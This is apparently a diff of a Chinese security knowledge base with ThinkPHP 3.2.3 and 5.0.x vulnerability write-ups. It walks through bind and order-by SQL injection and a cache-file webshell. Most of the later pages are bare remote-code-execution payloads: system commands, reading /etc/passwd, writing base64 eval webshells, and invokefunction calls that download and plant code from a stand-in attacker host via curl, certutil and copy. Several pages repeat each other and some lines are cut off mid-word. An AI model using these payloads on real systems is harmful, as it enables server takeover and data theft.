if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
|
||||||
|
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
|
||||||
|
}elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
|
||||||
|
if(is_array($val[1])) {
|
||||||
|
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
|
||||||
|
if(in_array($likeLogic,array('AND','OR','XOR'))){
|
||||||
|
$like = array();
|
||||||
|
foreach ($val[1] as $item){
|
||||||
|
$like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
|
||||||
|
}
|
||||||
|
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
|
||||||
|
}
|
||||||
|
}else{
|
||||||
|
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
|
||||||
|
}
|
||||||
|
}elseif('bind' == $exp ){ // 使用表达式
|
||||||
|
$whereStr .= $key.' = :'.$val[1];
|
||||||
|
}elseif('exp' == $exp ){ // 使用表达式
|
||||||
|
$whereStr .= $key.' '.$val[1];
|
||||||
|
}elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算
|
||||||
|
if(isset($val[2]) && 'exp'==$val[2]) {
|
||||||
|
$whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
|
||||||
|
}else{
|
||||||
|
if(is_string($val[1])) {
|
||||||
|
$val[1] = explode(',',$val[1]);
|
||||||
|
}
|
||||||
|
$zone = implode(',',$this->parseValue($val[1]));
|
||||||
|
$whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
|
||||||
|
}
|
||||||
|
}elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算
|
||||||
|
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
|
||||||
|
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
|
||||||
|
}else{
|
||||||
|
E(L('_EXPRESS_ERROR_').':'.$val[0]);
|
||||||
|
}
|
||||||
|
}else {
|
||||||
|
$count = count($val);
|
||||||
|
$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
|
||||||
|
if(in_array($rule,array('AND','OR','XOR'))) {
|
||||||
|
$count = $count -1;
|
||||||
|
}else{
|
||||||
|
$rule = 'AND';
|
||||||
|
}
|
||||||
|
for($i=0;$i<$count;$i++) {
|
||||||
|
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
|
||||||
|
if('exp'==strtolower($val[$i][0])) {
|
||||||
|
$whereStr .= $key.' '.$data.' '.$rule.' ';
|
||||||
|
}else{
|
||||||
|
$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$whereStr = '( '.substr($whereStr,0,-4).' )';
|
||||||
|
}
|
||||||
|
}else {
|
||||||
|
//对字符串类型字段采用模糊匹配
|
||||||
|
$likeFields = $this->config['db_like_fields'];
|
||||||
|
if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
|
||||||
|
$whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
|
||||||
|
}else {
|
||||||
|
$whereStr .= $key.' = '.$this->parseValue($val);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return $whereStr;
|
||||||
|
}
|
||||||
|
|
||||||
|
其中除了exp能利用外还有一处bind,而bind可以完美避开了think\_filter:
|
||||||
|
|
||||||
|
elseif('bind' == $exp ){ // 使用表达式
|
||||||
|
$whereStr .= $key.' = :'.$val[1];
|
||||||
|
}elseif('exp' == $exp ){ // 使用表达式
|
||||||
|
$whereStr .= $key.' '.$val[1];
|
||||||
|
|
||||||
|
这里由于拼接了\$val参数的形式造成了注入,但是这里的bind表达式会引入:符号参数绑定的形式去拼接数据,通过白盒对几处CURD操作函数进行分析定位到update函数,insert函数会造成sql注入,于是回到上面的updateh函数。
|
||||||
|
Thinkphp/Library/Think/Db/Driver.class.php
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 更新记录
|
||||||
|
* @access public
|
||||||
|
* @param mixed $data 数据
|
||||||
|
* @param array $options 表达式
|
||||||
|
* @return false | integer
|
||||||
|
*/
|
||||||
|
public function update($data,$options) {
|
||||||
|
$this->model = $options['model'];
|
||||||
|
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
|
||||||
|
$table = $this->parseTable($options['table']);
|
||||||
|
$sql = 'UPDATE ' . $table . $this->parseSet($data);
|
||||||
|
if(strpos($table,',')){// 多表更新支持JOIN操作
|
||||||
|
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
|
||||||
|
}
|
||||||
|
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
|
||||||
|
if(!strpos($table,',')){
|
||||||
|
// 单表更新支持order和lmit
|
||||||
|
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
|
||||||
|
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
|
||||||
|
}
|
||||||
|
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
|
||||||
|
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
|
||||||
|
}
|
||||||
|
|
||||||
|
跟进execute函数:
|
||||||
|
|
||||||
|
public function execute($str,$fetchSql=false) {
|
||||||
|
$this->initConnect(true);
|
||||||
|
if ( !$this->_linkID ) return false;
|
||||||
|
$this->queryStr = $str;
|
||||||
|
if(!empty($this->bind)){
|
||||||
|
$that = $this;
|
||||||
|
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));
|
||||||
|
}
|
||||||
|
if($fetchSql){
|
||||||
|
return $this->queryStr;
|
||||||
|
}
|
||||||
|
|
||||||
|
这里有处对\$this-\>queryStr进行字符替换的操作:
|
||||||
|
|
||||||
|
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));
|
||||||
|
|
||||||
|
具体是什么,我这里写了一个实例:
|
||||||
|
|
||||||
|
常规的跟新数据库用户信息的操作:
|
||||||
|
|
||||||
|
Application/Home/Controller/UserController.class.php
|
||||||
|
|
||||||
|
<?php
|
||||||
|
|
||||||
|
namespace HomeController;
|
||||||
|
use ThinkController;
|
||||||
|
|
||||||
|
class UserController extends Controller {
|
||||||
|
|
||||||
|
public function index(){
|
||||||
|
|
||||||
|
$User = M("member");
|
||||||
|
$user['id'] = I('id');
|
||||||
|
$data['money'] = I('money');
|
||||||
|
$data['user'] = I('user');
|
||||||
|
$valu = $User->where($user)->save($data);
|
||||||
|
var_dump($valu);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
根据进来的id更新用户的名字和钱,构造一个简单一个poc
|
||||||
|
|
||||||
|
id\[\]=bind&id\[\]=1'&money\[\]=1123&user=liao
|
||||||
|
当走到execute函数时sql语句为:
|
||||||
|
|
||||||
|
UPDATE `member` SET `user`=:0 WHERE `id` = :1'
|
||||||
|
|
||||||
|
然后\$that = \$this
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
然后下面的替换操作是将":0"替换为外部传进来的字符串,这里就可控了。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
替换后:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
明显发现之前的`user`参数为:0然后被替换为了liao,这样就把:替换掉了。
|
||||||
|
后面的:1明显是替换不掉的:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
那么我们将id\[1\]数组的参数变为0呢?
|
||||||
|
|
||||||
|
id[]=bind&id[]=0%27&money[]=1123&user=liao
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
果然造成了注入:
|
||||||
|
|
||||||
|
### poc
|
||||||
|
|
||||||
|
money[]=1123&user=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
参考链接
|
||||||
|
--------
|
||||||
|
|
||||||
|
> <https://www.anquanke.com/post/id/104847>
|
After Width: | Height: | Size: 294 KiB |
After Width: | Height: | Size: 84 KiB |
After Width: | Height: | Size: 36 KiB |
After Width: | Height: | Size: 88 KiB |
After Width: | Height: | Size: 116 KiB |
After Width: | Height: | Size: 124 KiB |
After Width: | Height: | Size: 100 KiB |
@ -0,0 +1,126 @@
|
|||||||
|
Thinkphp 3.2.3 缓存漏洞
|
||||||
|
=======================
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
Thinkphp 3.2.3
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
### 漏洞分析
|
||||||
|
|
||||||
|
- 直接跟进到`/Library/Think/Cache/File.class.php`文件,看到set方法:
|
||||||
|
|
||||||
|
```{=html}
|
||||||
|
<!-- -->
|
||||||
|
```
|
||||||
|
- /**
|
||||||
|
* 写入缓存
|
||||||
|
* @access public
|
||||||
|
* @param string $name 缓存变量名
|
||||||
|
* @param mixed $value 存储数据
|
||||||
|
* @param int $expire 有效时间 0为永久
|
||||||
|
* @return boolean
|
||||||
|
*/
|
||||||
|
public function set($name,$value,$expire=null) {
|
||||||
|
N('cache_write',1);
|
||||||
|
if(is_null($expire)) {
|
||||||
|
$expire = $this->options['expire'];
|
||||||
|
}
|
||||||
|
$filename = $this->filename($name);
|
||||||
|
$data = serialize($value);
|
||||||
|
if( C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {
|
||||||
|
//数据压缩
|
||||||
|
$data = gzcompress($data,3);
|
||||||
|
}
|
||||||
|
if(C('DATA_CACHE_CHECK')) {//开启数据校验
|
||||||
|
$check = md5($data);
|
||||||
|
}else {
|
||||||
|
$check = '';
|
||||||
|
}
|
||||||
|
$data = "<?php\n//".sprintf('%012d',$expire).$check.$data."\n?>";
|
||||||
|
//data参数经过序列化,直接被写到文件内。
|
||||||
|
|
||||||
|
$result = file_put_contents($filename,$data);
|
||||||
|
if($result) {
|
||||||
|
if($this->options['length']>0) {
|
||||||
|
// 记录缓存队列
|
||||||
|
$this->queue($name);
|
||||||
|
}
|
||||||
|
clearstatcache();
|
||||||
|
return true;
|
||||||
|
}else {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
```{=html}
|
||||||
|
<!-- -->
|
||||||
|
```
|
||||||
|
- 写一个调用缓存函数的的方法,运行一下。看看写进去什么
|
||||||
|
|
||||||
|
```{=html}
|
||||||
|
<!-- -->
|
||||||
|
```
|
||||||
|
- <?php
|
||||||
|
namespace Home\Controller;
|
||||||
|
use Think\Controller;
|
||||||
|
class IndexController extends Controller {
|
||||||
|
|
||||||
|
public function index(){
|
||||||
|
$a=I('post.a3');
|
||||||
|
S('name',$a);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
```{=html}
|
||||||
|
<!-- -->
|
||||||
|
```
|
||||||
|
- 在set方法下断点,访问
|
||||||
|
`http://www.0-sec.org/index.php/Home/Index/index.html`
|
||||||
|
,post数据:`a3=aaaa`
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
可以看到\$data参数经过序列化,直接写入php后缀的文件。F9运行可以看到,在`Application/Runtime/Temp/`文件夹下生成了php文件。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
- 写入到文件被行注释了。
|
||||||
|
|
||||||
|
- `$data`参数未过滤`%0d%0a`可以用换行来绕过行注释,尝试post数据:
|
||||||
|
|
||||||
|
```{=html}
|
||||||
|
<!-- -->
|
||||||
|
```
|
||||||
|
- `a3=%0d%0aeval($_POST['cmd']);%0d%0a//`
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
- 之后用蚁剑连接成功
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### 总结
|
||||||
|
|
||||||
|
### Thinkphp3.2.3
|
||||||
|
|
||||||
|
1. 漏洞文件位置(一般审计得出)
|
||||||
|
|
||||||
|
- `http://www.0-sec.org/index.php/Home/Index/get?id=%0d%0aeval($_POST['cmd']);%0d%0a//`
|
||||||
|
|
||||||
|
2. 缓存文件为缓存名的md5值,这里采用md5(name)=b068931cc450442b63f5b3d276ea4297
|
||||||
|
|
||||||
|
- `http://www.0-sec.org/Application/Runtime/Temp/b068931cc450442b63f5b3d276ea4297.php`
|
||||||
|
|
||||||
|
3. 之后蚁剑连接。
|
||||||
|
|
||||||
|
参考链接
|
||||||
|
--------
|
||||||
|
|
||||||
|
> [https://h3art3ars.github.io/2019/12/16/Thinkphp3-2-3-5-0-10%E7%BC%93%E5%AD%98%E6%BC%8F%E6%B4%9E/](https://h3art3ars.github.io/2019/12/16/Thinkphp3-2-3-5-0-10缓存漏洞/)
|
After Width: | Height: | Size: 186 KiB |
After Width: | Height: | Size: 104 KiB |
After Width: | Height: | Size: 110 KiB |
After Width: | Height: | Size: 199 KiB |
@ -0,0 +1,40 @@
|
|||||||
|
Thinkphp 3.x order by 注入漏洞
|
||||||
|
==============================
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
ThinkPHP在处理order
|
||||||
|
by排序时,当排序参数可控且为关联数组(key-value)时,由于框架未对数组中key值作安全过滤处理,攻击者可利用key构造SQL语句进行注入,该漏洞影响ThinkPHP
|
||||||
|
3.2.3、5.1.22及以下版本。
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
ThinkPHP 3.2.3、5.1.22及以下版本。
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
ThinkPHP3.2.3漏洞代码(/Library/Think/Db/Driver.class.php):
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
ThinkPHP 5.1.22漏洞代码(framework/library/think/db/Query.php):
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
从上面漏洞代码可以看出,当\$field参数为关联数组(key-value)时,key值拼接到返回值中,SQL语句最终绕过了框架安全过滤得以执行。
|
||||||
|
|
||||||
|
### ThinkPHP 3.2.3
|
||||||
|
|
||||||
|
访问如下URL即可进行漏洞利用:
|
||||||
|
|
||||||
|
http://www.0-sec.org/ThinkPHP/?order[updatexml(1,concat(0x3a,user()),1)]=1
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
参考链接
|
||||||
|
--------
|
||||||
|
|
||||||
|
> <https://mp.weixin.qq.com/s?__biz=MzIwNTcxNTczMQ==&mid=2247483907&idx=1&sn=3c1f9874878c92d10cff30c1c263fa8a&scene=21#wechat_redirect>
|
After Width: | Height: | Size: 375 KiB |
After Width: | Height: | Size: 507 KiB |
After Width: | Height: | Size: 207 KiB |
Before Width: | Height: | Size: 18 KiB After Width: | Height: | Size: 18 KiB |
Before Width: | Height: | Size: 42 KiB After Width: | Height: | Size: 42 KiB |
@ -0,0 +1,59 @@
|
|||||||
|
Thinkphp 5.0.1
|
||||||
|
==============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
### 1、判断是否存在漏洞
|
||||||
|
|
||||||
|
#### poc1
|
||||||
|
|
||||||
|
http://wwww.com/public
|
||||||
|
|
||||||
|
s=phpinfo()&_method=__construct&filter=assert
|
||||||
|
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo
|
||||||
|
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
|
||||||
|
_method=__construct&method=get&filter[]=call_user_func&get[0]=phpinfo&get[1]=1
|
||||||
|
|
||||||
|
#### poc2
|
||||||
|
|
||||||
|
http:/xxxx.com/?s=index/index/index
|
||||||
|
|
||||||
|
s=ipconfig&_mehthod=__construct$method=&filter[]=system
|
||||||
|
|
||||||
|
### 2、深入利用
|
||||||
|
|
||||||
|
使用post提交
|
||||||
|
|
||||||
|
#### 1、使用assert函数
|
||||||
|
|
||||||
|
s=phpinfo()&_method=__construct&filter=assert
|
||||||
|
|
||||||
|
#### 2、include函数,可以根据此函数查看一些文件及其配置
|
||||||
|
|
||||||
|
s=include("/etc/passwd")&_method=__construct&filter=assert
|
||||||
|
|
||||||
|
#### 3、file\_put\_contents函数,可以直接写入文件
|
||||||
|
|
||||||
|
s=file_put_contents('/data/wwwroot/www.0-sec.org/application/index/test.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert
|
||||||
|
|
||||||
|
#### 4、读取文件
|
||||||
|
|
||||||
|
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../application/.htaccess
|
||||||
|
s=include("../application/.htaccess")&_method=__construct&filter=assert
|
||||||
|
|
||||||
|
//ps:如果不加.. 请加上完整路径
|
||||||
|
|
||||||
|
#### 5、var\_dump函数,可以查看该路径下的文件,文件夹
|
||||||
|
|
||||||
|
s=var_dump(scandir('../application/'))&_method=__construct&filter=assert
|
||||||
|
|
||||||
|
#### 6、复制文件
|
||||||
|
|
||||||
|
s=copy("/data/wwwroot/data.tar", "/data/wwwroot/www.0-sec.org/public/data.tar")&_method=__construct&filter=asser
|
@ -0,0 +1,18 @@
|
|||||||
|
Thinkphp 5.0.10
|
||||||
|
===============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
post提交
|
||||||
|
|
||||||
|
http://www.0-sec.org/public/index.php?s=index/index/index
|
||||||
|
|
||||||
|
|
||||||
|
s=whoami&_method=__construct&method&filter[]=syste
|
@ -0,0 +1,13 @@
|
|||||||
|
Thinkphp 5.0.11
|
||||||
|
===============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
http://www.0-sec.org/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.ph
|
@ -0,0 +1,26 @@
|
|||||||
|
Thinkphp 5.0.12
|
||||||
|
===============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
> www.0-sec.org/?s=index/index
|
||||||
|
|
||||||
|
post
|
||||||
|
|
||||||
|
s=whoami&_method=__construct&method=POST&filter[]=system
|
||||||
|
aaaa=whoami&_method=__construct&method=GET&filter[]=system
|
||||||
|
_method=__construct&method=GET&filter[]=system&get[]=whoami
|
||||||
|
c=system&f=calc&_method=filter
|
||||||
|
|
||||||
|
> 写shell
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
|
@ -0,0 +1,36 @@
|
|||||||
|
Thinkphp 5.0.13
|
||||||
|
===============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
> post提交
|
||||||
|
|
||||||
|
www.0-sec.org/?s=index/index
|
||||||
|
|
||||||
|
s=whoami&_method=__construct&method=POST&filter[]=system
|
||||||
|
aaaa=whoami&_method=__construct&method=GET&filter[]=system
|
||||||
|
_method=__construct&method=GET&filter[]=system&get[]=whoami
|
||||||
|
c=system&f=calc&_method=filter
|
||||||
|
|
||||||
|
> 写shell
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
|
||||||
|
|
||||||
|
### 补充
|
||||||
|
|
||||||
|
> 有captcha路由时无需debug=true
|
||||||
|
>
|
||||||
|
> http://www.0-sec.org/?s=captcha/calc
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
_method=__construct&filter[]=system&method=GET
|
@ -0,0 +1,30 @@
|
|||||||
|
Thinkphp 5.0.14
|
||||||
|
===============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
### 1、常规命令
|
||||||
|
|
||||||
|
?s=index/think\app/invokefunction&function=&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php.jpg&vars[1][]=%3C?php%20phpinfo();?3E
|
||||||
|
|
||||||
|
### 2、eval(\'\')和assert(\'\')被拦截,命令函数被禁止
|
||||||
|
|
||||||
|
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();
|
||||||
|
http://www.xxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));
|
||||||
|
|
||||||
|
### 3、基于php7.2环境下
|
||||||
|
|
||||||
|
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1
|
||||||
|
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.hack.com/xxx.js'));?>
|
||||||
|
写进去发现转义了尖括号
|
||||||
|
|
||||||
|
### 4、通过copy函数
|
||||||
|
|
||||||
|
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.ph
|
@ -0,0 +1,34 @@
|
|||||||
|
Thinkphp 5.0.15
|
||||||
|
===============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
> https://www.0-sec.org/?s=index/index
|
||||||
|
|
||||||
|
post
|
||||||
|
|
||||||
|
s=whoami&_method=__construct&method=POST&filter[]=system
|
||||||
|
aaaa=whoami&_method=__construct&method=GET&filter[]=system
|
||||||
|
_method=__construct&method=GET&filter[]=system&get[]=whoami
|
||||||
|
c=system&f=calc&_method=filter
|
||||||
|
|
||||||
|
> 写shell
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
|
||||||
|
|
||||||
|
> 有captcha路由时无需debug=true
|
||||||
|
>
|
||||||
|
> https://www.0-sec.org/?s=captcha/calc
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
_method=__construct&filter[]=system&method=GET
|
@ -0,0 +1,46 @@
|
|||||||
|
Thinkphp 5.0.16
|
||||||
|
===============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
> https://www.0-sec.org/?s=index/index
|
||||||
|
|
||||||
|
post
|
||||||
|
|
||||||
|
s=whoami&_method=__construct&method=POST&filter[]=system
|
||||||
|
aaaa=whoami&_method=__construct&method=GET&filter[]=system
|
||||||
|
_method=__construct&method=GET&filter[]=system&get[]=whoami
|
||||||
|
c=system&f=calc&_method=filter
|
||||||
|
|
||||||
|
> 写shell
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
|
||||||
|
|
||||||
|
> 有captcha路由时无需debug=true
|
||||||
|
>
|
||||||
|
> https://www.0-sec.org/?s=captcha/calc
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
_method=__construct&filter[]=system&method=GET
|
||||||
|
|
||||||
|
> 写shell
|
||||||
|
|
||||||
|
post
|
||||||
|
|
||||||
|
s=file_put_contents('/绝对路径/test.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert
|
||||||
|
|
||||||
|
密码aaaa
|
||||||
|
|
||||||
|
> 直接菜刀连
|
||||||
|
|
||||||
|
http://wwww.0-sec.org/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])
|
@ -0,0 +1,34 @@
|
|||||||
|
Thinkphp 5.0.17
|
||||||
|
===============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
> https://www.0-sec.org/?s=index/index
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=whoami&_method=__construct&method=POST&filter[]=system
|
||||||
|
aaaa=whoami&_method=__construct&method=GET&filter[]=system
|
||||||
|
_method=__construct&method=GET&filter[]=system&get[]=whoami
|
||||||
|
c=system&f=calc&_method=filter
|
||||||
|
|
||||||
|
> 写shell
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
|
||||||
|
|
||||||
|
> 有captcha路由时无需debug=true
|
||||||
|
>
|
||||||
|
> https://www.0-sec.org/?s=captcha/calc
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
_method=__construct&filter[]=system&method=GET
|
@ -0,0 +1,22 @@
|
|||||||
|
Thinkphp 5.0.18
|
||||||
|
===============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
### 1、windows
|
||||||
|
|
||||||
|
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1
|
||||||
|
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()
|
||||||
|
|
||||||
|
### 2、使用certutil
|
||||||
|
|
||||||
|
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php
|
||||||
|
|
||||||
|
由于根目录没写权限,所
|
@ -0,0 +1,34 @@
|
|||||||
|
Thinkphp 5.0.19
|
||||||
|
===============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
> https://www.0-sec.org/?s=index/index
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=whoami&_method=__construct&method=POST&filter[]=system
|
||||||
|
aaaa=whoami&_method=__construct&method=GET&filter[]=system
|
||||||
|
_method=__construct&method=GET&filter[]=system&get[]=whoami
|
||||||
|
c=system&f=calc&_method=filter
|
||||||
|
|
||||||
|
> 写shell
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
|
||||||
|
|
||||||
|
> 有captcha路由时无需debug=true
|
||||||
|
>
|
||||||
|
> https://www.0-sec.org/?s=captcha/calc
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
_method=__construct&filter[]=system&method=GET
|
@ -0,0 +1,27 @@
|
|||||||
|
Thinkphp 5.0.2
|
||||||
|
==============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
> www.0-sec.org/?s=index/index
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=whoami&_method=__construct&method=POST&filter[]=system
|
||||||
|
|
||||||
|
aaaa=whoami&_method=__construct&method=GET&filter[]=system
|
||||||
|
|
||||||
|
_method=__construct&method=GET&filter[]=system&get[]=whoami
|
||||||
|
|
||||||
|
> getshell
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
|
@ -0,0 +1,34 @@
|
|||||||
|
Thinkphp 5.0.20
|
||||||
|
===============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
> https://www.0-sec.org/?s=index/index
|
||||||
|
|
